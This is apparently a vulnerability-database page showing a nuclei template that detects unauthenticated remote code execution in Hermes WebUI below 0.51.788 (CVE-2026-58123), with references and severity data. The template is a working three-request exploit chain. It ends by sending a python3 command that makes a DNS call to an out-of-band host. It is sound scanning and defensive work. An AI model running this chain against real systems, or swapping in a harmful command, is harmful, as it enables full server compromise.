Lucene search
+L

Hermes WebUI < 0.51.788 - Remote Code Execution

🗓️ 10 Sep 2026 12:12:25Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 3 Views

Unauthenticated RCE in Hermes WebUI below 0.51.788 via embedded terminal API endpoints.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-58123
9 Jul 202621:14
attackerkb
circl
Circl
CVE-2026-58123
9 Jul 202621:50
circl
cve
CVE
CVE-2026-58123
9 Jul 202621:14
cve
cvelist
Cvelist
CVE-2026-58123 Hermes WebUI < 0.51.788 Unauthenticated RCE via Terminal API
9 Jul 202621:14
cvelist
euvd
EUVD
EUVD-2026-42722
10 Jul 202600:31
euvd
nvd
NVD
CVE-2026-58123
9 Jul 202622:17
nvd
ptsecurity
Positive Technologies
PT-2026-56989
9 Jul 202600:00
ptsecurity
vulnrichment
Vulnrichment
CVE-2026-58123 Hermes WebUI < 0.51.788 Unauthenticated RCE via Terminal API
9 Jul 202621:14
vulnrichment
id: CVE-2026-58123

info:
  name: Hermes WebUI < 0.51.788 - Remote Code Execution
  author: str4k3r
  severity: critical
  description: |
    Hermes WebUI < 0.51.788 contains an unauthenticated remote code execution caused by improper access control in embedded terminal API endpoints, letting remote attackers execute arbitrary shell commands without credentials.
  impact: |
    Remote attackers can execute arbitrary shell commands as the server process user, leading to full system compromise.
  remediation: |
    Update to version 0.51.788 or later.
  reference:
    - https://www.vulncheck.com/advisories/hermes-webui-unauthenticated-rce-via-terminal-api
    - https://github.com/nesquena/hermes-webui/commit/d257e5f36cfa9328600c8bde6f0de09a6ad9b6f4
    - https://github.com/nesquena/hermes-webui/releases/tag/v0.51.788
    - https://nvd.nist.gov/vuln/detail/CVE-2026-58123
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-58123
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 3
    vendor: nesquena
    product: hermes-webui
  tags: cve,cve2026,hermes-webui,rce,terminal,unauth,oast

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/session/new HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: session_id
        part: body
        group: 1
        internal: true
        regex:
          - '"session_id"\s*:\s*"([a-f0-9]{12})"'

  - raw:
      - |
        POST /api/terminal/start HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"session_id":"{{session_id}}"}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        POST /api/terminal/input HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"session_id":"{{session_id}}","data":"python3 -c \"import socket; socket.gethostbyname('{{interactsh-url}}')\"\n"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a2b688eb756ecc02e5407793992005e89fca560a5c57daa87e6a9b75b02b0c10022100abf249ff15dfe2138a90468aaf95c56d229c30413ea16c487ca2ce9c7a873fab:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation